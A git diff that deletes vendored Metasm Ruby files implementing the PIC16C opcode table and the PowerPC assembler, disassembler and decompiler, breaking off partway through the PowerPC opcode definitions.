a/lib/metasm/metasm/cpu/pic16c/opcodes.rb b/lib/metasm/metasm/cpu/pic16c/opcodes.rb deleted file mode 100644 index 3112af715f..0000000000 --- a/lib/metasm/metasm/cpu/pic16c/opcodes.rb +++ /dev/null @@ -1,68 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/cpu/pic16c/main' - -module Metasm -class Pic16c - def addop(name, bin, *l) - o = Opcode.new name, bin - l.each { |ll| - if @props_allowed[ll] - o.props[ll] = true - else - o.args << ll - o.fields[ll] = @fields_off[ll] - end - } - @opcode_list << o - end - - def init - @fields_mask = {:f => 0x7f, :b => 0x7, :k => 0xff, :klong => 0x3ff, :d => 1 } - @props_allowed = {:setip => true, :saveip => true, :stopexec => true } - @fields_off = { :f => 0, :b => 7, :k => 0, :klong => 0, :d => 7, :d => 7 } - - addop 'addwf', 0b00_0111_0000_0000, :f, :d - addop 'andwf', 0b00_0101_0000_0000, :f, :d - addop 'clrf', 0b00_0001_1000_0000, :f - addop 'clrw', 0b00_0001_0000_0000 # 00_0001_0xxx_xxxx - addop 'comf', 0b00_1001_0000_0000, :f, :d - addop 'decf', 0b00_0011_0000_0000, :f, :d - addop 'decfsz',0b00_1011_0000_0000, :f, :d - addop 'incf', 0b00_1010_0000_0000, :f, :d - addop 'incfsz',0b00_1111_0000_0000, :f, :d - addop 'iorwf', 0b00_0100_0000_0000, :f, :d - addop 'movf', 0b00_1000_0000_0000, :f, :d - addop 'movwf', 0b00_0000_1000_0000, :f - addop 'nop', 0b00_0000_0000_0000 # 00_0000_0xx0_0000 - addop 'rlf', 0b00_1101_0000_0000, :f, :d - addop 'rrf', 0b00_1100_0000_0000, :f, :d - addop 'subwf', 0b00_0010_0000_0000, :f, :d - addop 'swapf', 0b00_1110_0000_0000, :f, :d - addop 'xorwf', 0b00_0110_0000_0000, :f, :d - - addop 'bcf', 0b01_0000_0000_0000, :f, :b - addop 'bsf', 0b01_0100_0000_0000, :f, :b - addop 'btfsc', 0b01_1000_0000_0000, :f, :b, :setip - addop 'btfss', 0b01_1100_0000_0000, :f, :b, :setip - - addop 'addlw', 0b11_1110_0000_0000, :k # 00_000x_0000_0000 - addop 'andlw', 0b11_1001_0000_0000, :k - addop 'call', 0b10_0000_0000_0000, :klong, :setip, :stopexec, :saveip - addop 'clrwdt',0b00_0000_0110_0100 - addop 'goto', 0b10_1000_0000_0000, :klong, :setip, :stopexec - addop 'iorlw', 0b11_1000_0000_0000, :k - addop 'movlw', 0b11_0000_0000_0000, :k # 00_00xx_0000_0000 - addop 'retfie',0b00_0000_0000_1001, :setip, :stopexec - addop 'retlw', 0b11_0100_0000_0000, :k, :setip, :stopexec # 00_00xx_0000_0000 - addop 'return',0b00_0000_0000_1000, :setip, :stopexec - addop 'sleep', 0b00_0000_0110_0011 - addop 'sublw', 0b11_1100_0000_0000, :k # 00_000x_0000_0000 - addop 'xorlw', 0b11_1010_0000_0000, :k - end -end -end diff --git a/lib/metasm/metasm/cpu/ppc.rb b/lib/metasm/metasm/cpu/ppc.rb deleted file mode 100644 index 16f77e59a8..0000000000 --- a/lib/metasm/metasm/cpu/ppc.rb +++ /dev/null @@ -1,11 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/main' -require 'metasm/cpu/ppc/parse' -require 'metasm/cpu/ppc/encode' -require 'metasm/cpu/ppc/decode' -require 'metasm/cpu/ppc/decompile' diff --git a/lib/metasm/metasm/cpu/ppc/decode.rb b/lib/metasm/metasm/cpu/ppc/decode.rb deleted file mode 100644 index 923c15265c..0000000000 --- a/lib/metasm/metasm/cpu/ppc/decode.rb +++ /dev/null @@ -1,270 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/cpu/ppc/opcodes' -require 'metasm/decode' - -module Metasm -class PowerPC - def build_opcode_bin_mask(op) - # bit = 0 if can be mutated by an field value, 1 if fixed by opcode - return if not op.bin.kind_of? Integer - op.bin_mask = 0 - op.fields.each { |k, (m, s)| - op.bin_mask |= m << s - } - op.bin_mask = 0xffff_ffff ^ op.bin_mask - end - - def build_bin_lookaside - lookaside = Array.new(256) { [] } - opcode_list.each { |op| - next if not op.bin.kind_of? Integer - build_opcode_bin_mask op - - b = op.bin >> 24 - msk = op.bin_mask >> 24 - - for i in b..(b | (255^msk)) - next if i & msk != b & msk - lookaside[i] << op - end - } - lookaside - end - - def decode_findopcode(edata) - return if edata.ptr+4 > edata.length - di = DecodedInstruction.new(self) - val = edata.decode_imm(:u32, @endianness) - edata.ptr -= 4 - di if di.opcode = @bin_lookaside[val >> 24].find { |op| - (op.bin & op.bin_mask) == (val & op.bin_mask) - } - end - - def decode_instr_op(edata, di) - before_ptr = edata.ptr - op = di.opcode - di.instruction.opname = op.name - val = edata.decode_imm(:u32, @endianness) - - field_val = lambda { |f| - r = (val >> @fields_shift[f]) & @fields_mask[f] - case f - when :bd, :d, :ds, :dq, :si, :ui; r = Expression.make_signed(r<<@fields_shift[f], 16) - when :li; r = Expression.make_signed(r<<@fields_shift[f], 26) - else r - end - } - - op.args.each { |a| - di.instruction.args << case a - when :ra, :rb, :rs, :rt; GPR.new field_val[a] - when :fra, :frb, :frc, :frs, :frt; FPR.new field_val[a] - when :ra_i16, :ra_i16s, :ra_i16q - i = field_val[{:ra_i16 => :d, :ra_i16s => :ds, :ra_i16q => :dq}[a]] - Memref.new GPR.new(field_val[:ra]), Expression[i] - when :bd, :d, :ds, :dq, :si, :ui, :li, :sh, :mb, :me, :mb_, :me_, :u; Expression[field_val[a]] - when :ba, :bf, :bfa, :bt; CR.new field_val[a] - when :bb, :bh, :flm, :fxm, :l_, :l__, :lev, :nb, :sh_, :spr, :sr, :tbr, :th, :to - puts "PPC.decode: unsupported argument #{a.inspect}" if $VERBOSE # TODO - Expression[field_val[a]] - else raise SyntaxError, "Internal error: invalid argument #{a} in #{op.name}" - end - } - - di.bin_length += edata.ptr - before_ptr - - return if edata.ptr > edata.length - - decode_aliases(di.instruction) - - di - end - - def decode_aliases(i) - case i.opname - when /^n?or\.?$/ - if i.args[1] == i.args[2] - i.args.pop - i.opname = {'or' => 'mr', 'or.' => 'mr.', 'nor' => 'not', 'nor.' => 'not.'}[i.opname] - end - when /^addi/ - if a = i.args[2].reduce and a.kind_of? Integer and a < 0 - i.args[2] = Expression[-a] - i.opname = i.opname.sub('addi', 'subi') - end - end - - case i.opname - when /^(add|sub|xor|and|or|div|mul|nand)/ - if i.args.length == 3 and i.args[0] == i.args[1] - i.args.shift - end - end - - end - - # converts relative branch offsets to absolute addresses - # else just add the offset +off+ of the instruction + its length (off may be an Expression) - # assumes edata.ptr points just after the instruction (as decode_instr_op left it) - # do not call twice on the same di ! - def decode_instr_interpret(di, addr) - if di.opcode.props[:setip] and di.instruction.args.last.kind_of? Expression and di.opcode.name[0] != ?t and di.opcode.name[-1] != ?a - arg = Expression[addr, :+, di.instruction.args.last].reduce - di.instruction.args[-1] = Expression[arg] - end - - di - end - - # TODO - def backtrace_update_function_binding(dasm, faddr, f, retaddrlist, *wantregs) - retaddrlist.to_a.map! { |retaddr| dasm.decoded[retaddr] ? dasm.decoded[retaddr].block.list.last.address : retaddr } - b = f.backtrace_binding - - bt_val = lambda { |r| - bt = [] - retaddrlist.to_a.each { |retaddr| - bt |= dasm.backtrace(Expression[r], retaddr, - :include_start => true, :snapshot_addr => faddr, :origin => retaddr) - } - b[r] = ((bt.length == 1) ? bt.first : Expression::Unknown) - } - wantregs = GPR::Sym if wantregs.empty? - wantregs.map { |r| r.to_sym }.each(&bt_val) - - #puts "update_func_bind: #{Expression[faddr]} has sp -> #{b[:$sp]}" if not Expression[b[:$sp], :-, :$sp].reduce.kind_of?(::Integer) if $VERBOSE - end - - def backtrace_is_function_return(expr, di=nil) - expr.reduce_rec == :lr - end - - def backtrace_is_stack_address(expr) - Expression[expr].expr_externals.include? :sp - end - - def replace_instr_arg_immediate(i, old, new) - i.args.map! { |a| - case a - when Expression; a == old ? new : Expression[a.bind(old => new).reduce] - when Memref - a.offset = (a.offset == old ? new : Expression[a.offset.bind(old => new).reduce]) if a.offset.kind_of? Expression - a - else a - end - } - end - - def disassembler_default_func - df = DecodedFunction.new - df.backtrace_binding = (0..31).inject({}) { |h, r| r != 1 ? h.update("r#{r}".to_sym => Expression::Unknown) : h } - df.backtracked_for = [BacktraceTrace.new(Expression[:lr], :default, Expression[:lr], :x)] - df.btfor_callback = lambda { |dasm, btfor, funcaddr, calladdr| - if funcaddr != :default - btfor - elsif di = dasm.decoded[calladdr] and di.opcode.props[:saveip] - btfor - else [] - end - } - df - end - - # hash opname => lambda { |di, *sym_args| binding } - def backtrace_binding - @backtrace_binding ||= init_backtrace_binding - end - def backtrace_binding=(b) @backtrace_binding = b end - - def init_backtrace_binding - @backtrace_binding ||= {} - opcode_list.map { |ol| ol.name }.uniq.each { |op| - binding = case op - when 'mr', 'li', 'la'; lambda { |di, a0, a1| { a0 => Expression[a1] } } - when 'lis'; lambda { |di, a0, a1| { a0 => Expression[a1, :<<, 16] } } - when 'mtctr'; lambda { |di, a0| { :ctr => Expression[a0] } } - when 'mfctr'; lambda { |di, a0| { a0 => Expression[:ctr] } } - when 'mtlr'; lambda { |di, a0| { :lr => Expression[a0] } } - when 'mflr'; lambda { |di, a0| { a0 => Expression[:lr] } } - when 'lwzu'; lambda { |di, a0, m| - ret = { a0 => Expression[m] } - ptr = m.pointer.externals.grep(Symbol).first - ret[ptr] = m.pointer if ptr != a0 - ret - } - when 'lwz'; lambda { |di, a0, m| { a0 => Expression[m] } } - when 'stwu'; lambda { |di, a0, m| - { m => Expression[a0], m.pointer.externals.grep(Symbol).first => m.pointer } - } - when 'stw'; lambda { |di, a0, m| { m => Expression[a0] } } - when 'rlwinm'; lambda { |di, a0, a1, sh, mb, me| - mb, me = mb.reduce, me.reduce - cpmsk = (1<<@size) - 1 - a1 = Expression[a1, :&, cpmsk] - rol = Expression[[a1, :<<, sh], :|, [a1, :>>, [@size, :-, sh]]] - if mb == me+1 - msk = cpmsk - elsif mb < me+1 - msk = (((1 << ((me+1)-mb)) - 1) << (@size-(me+1))) - else - msk = (((1 << (mb-(me+1))) - 1) << (@size-mb)) ^ cpmsk - end - { a0 => Expression[Expression[rol, :&, msk].reduce] } - } - - when 'add', 'addi', 'add.', 'addi.'; lambda { |di, *a| { a[0] => Expression[a[-2], :+, a[-1]] } } - when 'addis', 'addis.'; lambda { |di, *a| { a[0] => Expression[a[-2], :+, [a[-1], :<<, 16]] } } - when 'sub', 'subi', 'sub.', 'subi.'; lambda { |di, *a| { a[0] => Expression[a[-2], :-, a[-1]] } } - when 'subis', 'subis.'; lambda { |di, *a| { a[0] => Expression[a[-2], :-, [a[-1], :<<, 16]] } } - when /^b.*la?$/; lambda { |di, *a| { :lr => Expression[di.next_addr] } } - when 'nop', /^cmp/, /^b/; lambda { |di, *a| {} } - end - - @backtrace_binding[op] ||= binding if binding - } - @backtrace_binding - end - - def get_backtrace_binding(di) - a = di.instruction.args.map { |arg| - case arg - when Memref; arg.symbolic(di.address) - when Reg; arg.symbolic - else arg - end - } - - binding = if binding = backtrace_binding[di.instruction.opname] - binding[di, *a] - else - puts "unknown instruction to emu #{di}" if $VERBOSE - {} - end - - binding - end - - def get_xrefs_x(dasm, di) - return [] if not di.opcode.props[:setip] - - arg = case di.instruction.opname - when 'bctr', 'bctrl'; :ctr - when 'blr', 'blrl'; :lr - else di.instruction.args.last - end - - [Expression[ - case arg - when Memref; Indirection[[arg.base.to_s.to_sym, :+, arg.offset], @size/8, di.address] - when Reg; arg.to_s.to_sym - else arg - end]] - end -end -end diff --git a/lib/metasm/metasm/cpu/ppc/decompile.rb b/lib/metasm/metasm/cpu/ppc/decompile.rb deleted file mode 100644 index c042903e29..0000000000 --- a/lib/metasm/metasm/cpu/ppc/decompile.rb +++ /dev/null @@ -1,251 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/cpu/ppc/main' - -module Metasm -class PowerPC - # temporarily setup dasm.address_binding so that backtracking - # stack-related offsets resolve in :frameptr (relative to func start) - def decompile_makestackvars(dasm, funcstart, blocks) - oldfuncbd = dasm.address_binding[funcstart] - dasm.address_binding[funcstart] = { :sp => :frameptr } # this would suffice, the rest here is just optimisation - - blocks.each { |block| - yield block - } - - dasm.address_binding[funcstart] = oldfuncbd if oldfuncbd - end - - # list variable dependency for each block, remove useless writes - # returns { blockaddr => [list of vars that are needed by a following block] } - def decompile_func_finddeps(dcmp, blocks, func) - deps_r = {} ; deps_w = {} ; deps_to = {} - deps_subfunc = {} # things read/written by subfuncs - - # find read/writes by each block - blocks.each { |b, to| - deps_r[b] = [] ; deps_w[b] = [] ; deps_to[b] = to - deps_subfunc[b] = [] - - blk = dcmp.dasm.decoded[b].block - blk.list.each { |di| - a = di.backtrace_binding.values - w = [] - di.backtrace_binding.keys.each { |k| - case k - when ::Symbol; w |= [k] - else a |= Expression[k].externals # if dword [eax] <- 42, eax is read - end - } - #a << :eax if di.opcode.name == 'ret' # standard ABI - - deps_r[b] |= a.map { |ee| Expression[ee].externals.grep(::Symbol) }.flatten - [:unknown] - deps_w[b] - deps_w[b] |= w.map { |ee| Expression[ee].externals.grep(::Symbol) }.flatten - [:unknown] - } - stackoff = nil - blk.each_to_normal { |t| - t = dcmp.backtrace_target(t, blk.list.last.address) - next if not t = dcmp.c_parser.toplevel.symbol[t] - t.type = C::Function.new(C::BaseType.new(:int)) if not t.type.kind_of? C::Function # XXX this may seem a bit extreme, and yes, it is. - stackoff ||= Expression[dcmp.dasm.backtrace(:sp, blk.list.last.address, :snapshot_addr => blocks.first[0]).first, :-, :sp].reduce - } - if stackoff # last block instr == subfunction call - deps_r[b] |= deps_subfunc[b] - deps_w[b] - #deps_w[b] |= [:eax, :ecx, :edx] # standard ABI - end - } - - - - # find regs read and never written (must have been set by caller and are part of the func ABI) - uninitialized = lambda { |b, r, done| - from = deps_to.keys.find_all { |f| deps_to[f].include? b } - done - from.empty? or from.find { |f| - !deps_w[f].include?(r) and uninitialized[f, r, done + [b]] - } - } - - # remove writes from a block if no following block read the value - dw = {} - deps_w.each { |b, deps| - dw[b] = deps.reject { |dep| - ret = true - done = [] - todo = deps_to[b].dup - while a = todo.pop - next if done.include? a - done << a - if not deps_r[a] or deps_r[a].include? dep - ret = false - break - elsif not deps_w[a].include? dep - todo.concat deps_to[a] - end - end - ret - } - } - - dw - end - - def decompile_blocks(dcmp, myblocks, deps, func, nextaddr = nil) - scope = func.initializer - func.type.args.each { |a| scope.symbol[a.name] = a } - stmts = scope.statements - func_entry = myblocks.first[0] - until myblocks.empty? - b, to = myblocks.shift - if l = dcmp.dasm.get_label_at(b) - stmts << C::Label.new(l) - end - - # list of assignments [[dest reg, expr assigned]] - ops = [] - # reg binding (reg => value, values.externals = regs at block start) - binding = {} - # Expr => CExpr - ce = lambda { |*e| dcmp.decompile_cexpr(Expression[Expression[*e].reduce], scope) } - # Expr => Expr.bind(binding) => CExpr - ceb = lambda { |*e| ce[Expression[*e].bind(binding)] } - - # dumps a CExprs that implements an assignment to a reg (uses ops[], patches op => [reg, nil]) - commit = lambda { - deps[b].map { |k| - [k, ops.rindex(ops.reverse.find { |r, v| r == k })] - }.sort_by { |k, i| i.to_i }.each { |k, i| - next if not i or not binding[k] - e = k - final = [] - ops[0..i].reverse_each { |r, v| - final << r if not v - e = Expression[e].bind(r => v).reduce if not final.include? r - } - ops[i][1] = nil - binding.delete k - stmts << ce[k, :'=', e] if k != e - } - } - - # go ! - dcmp.dasm.decoded[b].block.list.each_with_index { |di, didx| - a = di.instruction.args - if di.opcode.props[:setip] and not di.opcode.props[:stopexec] - # conditional jump - commit[] - n = dcmp.backtrace_target(get_xrefs_x(dcmp.dasm, di).first, di.address) - #cc = ceb[decode_cc_to_expr(di.opcode.name[1..-1])] - cc = ceb[:condjmp] - stmts << C::If.new(C::CExpression[cc], C::Goto.new(n)) - to.delete dcmp.dasm.normalize(n) - next - end - - case di.opcode.name - when 'blr' - commit[] - stmts << C::Return.new(nil) - when 'bl' # :saveip - n = dcmp.backtrace_target(get_xrefs_x(dcmp.dasm, di).first, di.address) - args = [] - if t = dcmp.c_parser.toplevel.symbol[n] and t.type.args - stackoff = Expression[dcmp.dasm.backtrace(:sp, di.address, :snapshot_addr => func_entry), :-, :sp].bind(:sp => :frameptr).reduce rescue nil - args_todo = t.type.args.dup - args = [] - args_todo.each { - if stackoff.kind_of? Integer - var = Indirection[[:frameptr, :+, stackoff], @size/8] - stackoff += @size/8 - else - var = 0 - end - args << ceb[var] - binding.delete var - } - end - commit[] - #next if not di.block.to_subfuncret - - if n.kind_of? ::String - if not f = dcmp.c_parser.toplevel.symbol[n] - # internal functions are predeclared, so this one is extern - f = dcmp.c_parser.toplevel.symbol[n] = C::Variable.new - f.name = n - f.type = C::Function.new(C::BaseType.new(:int)) - dcmp.c_parser.toplevel.statements << C::Declaration.new(f) - end - commit[] - else - # indirect funcall - fptr = ceb[n] - binding.delete n - commit[] - proto = C::Function.new(C::BaseType.new(:int)) - f = C::CExpression[[fptr], proto] - end - binding.delete :eax - e = C::CExpression[f, :funcall, args] - e = C::CExpression[ce[:eax], :'=', e, f.type.type] if deps[b].include? :eax and f.type.type != C::BaseType.new(:void) - stmts << e - when 'b' - a = di.instruction.args.first - if a.kind_of? Expression - else - # indirect jmp, convert to return (*fptr)(); - n = di.instruction.args.first.symbolic - fptr = ceb[n] - binding.delete n - commit[] - proto = C::Function.new(C::BaseType.new(:void)) - ret = C::Return.new(C::CExpression[[[fptr], C::Pointer.new(proto)], :funcall, []]) - class << ret ; attr_accessor :from_instr end - ret.from_instr = di - stmts << ret - to = [] - end - else - bd = get_fwdemu_binding(di) - if di.backtrace_binding[:incomplete_binding] - commit[] - stmts << C::Asm.new(di.instruction.to_s, nil, nil, nil, nil, nil) - else - bd.each { |k, v| - if k.kind_of? ::Symbol - ops << [k, v] - else # memory - stmts << ceb[k, :'=', v] - binding.delete k - end - } - update = {} - bd.each { |k, v| - next if not k.kind_of? ::Symbol - update[k] = Expression[Expression[v].bind(binding).reduce] - } - binding.update update - end - end - } - commit[] - - case to.length - when 0 - if not myblocks.empty? and not %w[ret jmp].include? dcmp.dasm.decoded[b].block.list.last.instruction.opname - puts " block #{Expression[b]} has no to and don't end in ret" - end - when 1 - if (myblocks.empty? ? nextaddr != to[0] : myblocks.first.first != to[0]) - stmts << C::Goto.new(dcmp.dasm.auto_label_at(to[0], 'unknown_goto')) - end - else - puts " block #{Expression[b]} with multiple to" - end - end - end -end -end diff --git a/lib/metasm/metasm/cpu/ppc/encode.rb b/lib/metasm/metasm/cpu/ppc/encode.rb deleted file mode 100644 index aa2c9a69c4..0000000000 --- a/lib/metasm/metasm/cpu/ppc/encode.rb +++ /dev/null @@ -1,51 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/cpu/ppc/opcodes' -require 'metasm/encode' - -module Metasm -class PowerPC - private - def encode_instr_op(exe, instr, op) - base = op.bin - set_field = lambda { |f, v| - base |= (v & @fields_mask[f]) << @fields_shift[f] - } - - val, mask, shift = 0, 0, 0 - -# TODO - # convert label name for jmp/call/loop to relative offset - if op.props[:setip] and op.name[0] != ?t and instr.args.last.kind_of? Expression - postlabel = exe.new_label('jmp_offset') - instr = instr.dup - instr.args[-1] = Expression[[instr.args[-1], :-, postlabel], :>>, 2] - postdata = EncodedData.new '', :export => {postlabel => 0} - else - postdata = '' - end - - op.args.zip(instr.args).each { |sym, arg| - case sym - when :rs, :rt, :rd, :ba, :bf, :bfa, :bt - set_field[sym, arg.i] - when :ft - set_field[sym, arg.i] - when :rs_i16 - set_field[:rs, arg.base.i] - val, mask, shift = arg.offset, @fields_mask[:i16], @fields_shift[:i16] - when :sa, :i16, :i20 - val, mask, shift = arg, @fields_mask[sym], @fields_shift[sym] - when :i26 - val, mask, shift = Expression[arg, :>>, 2], @fields_mask[sym], @fields_shift[sym] - end - } - - Expression[base, :+, [[val, :&, mask], :<<, shift]].encode(:u32, @endianness) << postdata - end -end -end diff --git a/lib/metasm/metasm/cpu/ppc/main.rb b/lib/metasm/metasm/cpu/ppc/main.rb deleted file mode 100644 index b66385557a..0000000000 --- a/lib/metasm/metasm/cpu/ppc/main.rb +++ /dev/null @@ -1,134 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/main' -require 'metasm/render' - -module Metasm -class PowerPC < CPU - class Reg - include Renderable - class << self - attr_accessor :s_to_i, :i_to_s - end - - def ==(o) - o.class == self.class and (not respond_to?(:i) or o.i == i) - end - - def render ; [self.class.i_to_s[@i]] ; end - end - - # general purpose reg - class GPR < Reg - attr_accessor :i - def initialize(i) - @i = i - end - - @s_to_i = (0..31).inject({}) { |h, i| h.update((i == 1 ? 'sp' : "r#{i}") => i) } - @i_to_s = @s_to_i.invert - Sym = @s_to_i.sort.transpose.last - def symbolic ; Sym[@i] end - end - - # special purpose reg - class SPR < Reg - @s_to_i = {'xer' => 1, 'lr' => 8, 'ctr' => 9, 'dec' => 22, 'srr0' => 26, 'srr1' => 27, - 'sprg0' => 272, 'sprg1' => 273, 'sprg2' => 274, 'sprg3' => 275, 'pvr' => 287} - @i_to_s = @s_to_i.invert - - attr_accessor :i - def initialize(i) - @i = i - end - - Sym = @i_to_s.sort.inject({}) { |h, (k, v)| h.update k => v.to_sym } - def symbolic ; Sym[@i] end - def render ; [self.class.i_to_s[@i] || "spr#@i"] end - end - - # floating point - class FPR < Reg - attr_accessor :i - def initialize(i) - @i = i - end - - @s_to_i = (0..31).inject({}) { |h, i| h.update "fp#{i}" => i } - @i_to_s = @s_to_i.invert - Sym = @s_to_i.sort.transpose.last - end - - # machine state reg - class MSR < Reg - def symbolic ; :msr end - def render ; ['msr'] end - end - - # condition reg (7 regs * 4 bits : lt, gt, eq, of) - class CR < Reg - attr_accessor :i - def initialize(i) - @i = i - end - - @s_to_i = (0..31).inject({}) { |h, i| h.update "cr#{i}" => i } - @i_to_s = @s_to_i.invert - Sym = @s_to_i.sort.transpose.last - def symbolic ; "cr#@i".to_sym end - end - - # indirection : reg+reg or reg+16b_off - # r0 may mean 0 in some cases (stwx) - class Memref - attr_accessor :base, :offset - def initialize(base, offset) - @base, @offset = base, offset - end - - def symbolic(orig) - b = @base.symbolic - b = nil if b == :r0 # XXX is it true ? - o = @offset - o = o.symbolic if o.kind_of?(Reg) - Indirection[Expression[b, :+, o].reduce, 4, orig] - end - - include Renderable - def render - if @offset.kind_of?(Reg) - ['(', @base, ' + ', @offset, ')'] - else - [@offset, '(', @base, ')'] - end - end - end - - def initialize - super() - @endianness = :big - @size = 32 - end - - def init_opcode_list - init - end - - def render_instruction(i) - r = [i.opname] - if not i.args.empty? - r << ' ' - i.args.each { |a| - r << a << ', ' - } - r.pop - end - r - end -end -PPC = PowerPC -end diff --git a/lib/metasm/metasm/cpu/ppc/opcodes.rb b/lib/metasm/metasm/cpu/ppc/opcodes.rb deleted file mode 100644 index 1e03e77b9e..0000000000 --- a/lib/metasm/metasm/cpu/ppc/opcodes.rb +++ /dev/null @@ -1,416 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/cpu/ppc/main' - -module Metasm -class PowerPC - def addop(name, bin, *argprops) - o = Opcode.new name, bin - argprops.each { |a| - o.args << a if @valid_args[a] - o.fields[a] = [@fields_mask[a], @fields_shift[a]] if @fields_mask[a] - o.props[a] = true if @valid_props[a] - } - @opcode_list << o - end - - # generate l/a variations, add :setip/:saveip, include lr/ctr in opname - def addop_branch(nbase, bin, *argprops) - nbase += 'ctr' if argprops.delete :ctr - nbase += 'lr' if argprops.delete :lr - addop(nbase, bin, :setip, *argprops) - addop(nbase+'l', bin|1, :setip, :saveip, *argprops) - return if nbase[-2, 2] == 'lr' or nbase[-3, 3] == 'ctr' - - addop(nbase+'a', bin|2, :setip, *argprops) - addop(nbase+'la', bin|3, :setip, :saveip, *argprops) - end - - # generate condition variations, passes to addop_branch - def addop_branchcond(nbase, bin, *argprops) - # :bi & 0b11100 is the condition register to use, shift&mask == :bfa. Defaults to cr0 - # bo values - # no cc (10000 != 0) - addop_branch(nbase, bin|(0b10100<<21), :ign_bo_zzz, :stopexec, *argprops) - addop_branch(nbase+'dz', bin|(0b10010<<21), :ign_bo_at2, :stopexec, *argprops) if not argprops.include? :ctr - addop_branch(nbase+'dnz', bin|(0b10000<<21), :ign_bo_at2, :stopexec, *argprops) if not argprops.include? :ctr - - # conditionnal - %w[lt gt eq so].each_with_index { |cd, i| - ncd = {'lt' => 'gte', 'gt' => 'lte', 'eq' => 'ne', 'so' => 'nso'}[cd] - addop_branch(nbase+cd, bin|(0b1100<<21)|(i<<16), :ign_bo_at, *argprops) - addop_branch(nbase+cd, bin|(0b1100<<21)|(i<<16), :ign_bo_at, :bfa, *argprops) - addop_branch(nbase+ncd, bin|(0b100<<21)|(i<<16), :ign_bo_at, *argprops) - addop_branch(nbase+ncd, bin|(0b100<<21)|(i<<16), :ign_bo_at, :bfa, *argprops) - next if argprops.include? :ctr - - addop_branch(nbase+'dz'+cd, bin|(0b1010<<21)|(i<<16), :ign_bo_z, *argprops) - addop_branch(nbase+'dz'+cd, bin|(0b1010<<21)|(i<<16), :ign_bo_z, :bfa, *argprops) - addop_branch(nbase+'dnz'+cd, bin|(0b1000<<21)|(i<<16), :ign_bo_z, *argprops) - addop_branch(nbase+'dnz'+cd, bin|(0b1000<<21)|(i<<16), :ign_bo_z, :bfa, *argprops) - addop_branch(nbase+'dz'+ncd, bin|(0b010<<21)|(i<<16), :ign_bo_z, *argprops) - addop_branch(nbase+'dz'+ncd, bin|(0b010<<21)|(i<<16), :ign_bo_z, :bfa, *argprops) - addop_branch(nbase+'dnz'+ncd, bin|(0b000<<21)|(i<<16), :ign_bo_z, *argprops) - addop_branch(nbase+'dnz'+ncd, bin|(0b000<<21)|(i<<16), :ign_bo_z, :bfa, *argprops) - } - end - - def addop_trap(nbase, bin, *argprops) - addop nbase+'trap', bin|(0b11111<<21), *argprops - addop nbase+'lt', bin|(0b10000<<21), *argprops - addop nbase+'le', bin|(0b10100<<21), *argprops - addop nbase+'eq', bin|(0b00100<<21), *argprops - addop nbase+'ge', bin|(0b01100<<21), *argprops - addop nbase+'gt', bin|(0b01000<<21), *argprops - addop nbase+'ne', bin|(0b11000<<21), *argprops - addop nbase+'llt', bin|(0b00010<<21), *argprops - addop nbase+'lle', bin|(0b00110<<21), *argprops - addop nbase+'lge', bin|(0b00101<<21), *argprops - addop nbase+'lgt', bin|(0b00001<<21), *argprops - end - - - # generate cmp variations (default cr0, w/d) - def addop_cmp(nbase, bin, *argprops) - addop nbase.sub(/(cmpl?)/, '\\1w'), bin, *(argprops-[:bf]) - addop nbase.sub(/(cmpl?)/, '\\1w'), bin, *argprops - addop nbase.sub(/(cmpl?)/, '\\1d'), bin|(1<<@fields_shift[:l]), *(argprops-[:bf]) - addop nbase.sub(/(cmpl?)/, '\\1d'), bin|(1<<@fields_shift[:l]), *argprops - end - - # adds op and 'op.' with last bit of bin set - def addop_(base, bin, *argprops) - addop(base, bin, *argprops) - addop(base+'.', bin|1, *argprops) - end - - # adds op and 'opo' - def addop_o(base, bin, *argprops) - addop(base, bin, *argprops) - addop(base+'o', bin|0x400, *argprops) - end - - def init - @opcode_list = [] - @fields_shift.update :aa => 1, :ba => 16, :bb => 11, :bd => 2, :bf => 23, - :bfa => 18, :bh => 11, :bt => 21, :d => 0, :dq => 4, - :ds => 2, :flm => 17, :fra => 16, :frb => 11, :frc => 6, :frs => 21, - :frt => 21, :fxm => 12, :l => 21, :l_ => 21, :l__ => 16, :lev => 5, - :li => 2, :lk => 0, :mb => 5, :mb_ => 6, :me => 5, :me_ => 1, - :nb => 11, :oe => 10, :ra => 16, :rb => 11, :rc => 0, :rs => 21, - :rt => 21, :sh => 11, :sh_ => 1, :si => 0, :spr => 11, :sr => 16, - :tbr => 11, :th => 21, :to => 21, :u => 12, :ui => 0, - :ign_bo_zzz => 16, :ign_bo_z => 21, :ign_bo_at => 21, :ign_bo_at2 => 16 - - @fields_mask.update :aa => 1, :ba => 31, :bb => 31, :bd => 0x3FFF, :bf => 7, - :bfa => 7, :bh => 3, :bt => 31, :d => 0xFFFF, :dq => 0xFFF, - :ds => 0x3FFF, :flm => 255, :fra => 31, :frb => 31, :frc => 31, :frs => 31, - :frt => 31, :fxm => 255, :l => 1, :l_ => 3, :l__ => 1, :lev => 127, - :li => 0xFFFFFF, :lk => 1, :mb => 63, :mb_ => 31, :me => 63, :me_ => 31, - :nb => 31, :oe => 1, :ra => 31, :rb => 31, :rc => 1, :rs => 31, - :rt => 31, :sh => 31, :sh_ => 1, :si => 0xFFFF, :spr => 0x3FF, :sr => 15, - :tbr => 0x3FF, :th => 15, :to => 31, :u => 15, :ui => 0xFFFF, - :ign_bo_zzz => 0b101111111, :ign_bo_z => 1, :ign_bo_at => 3, 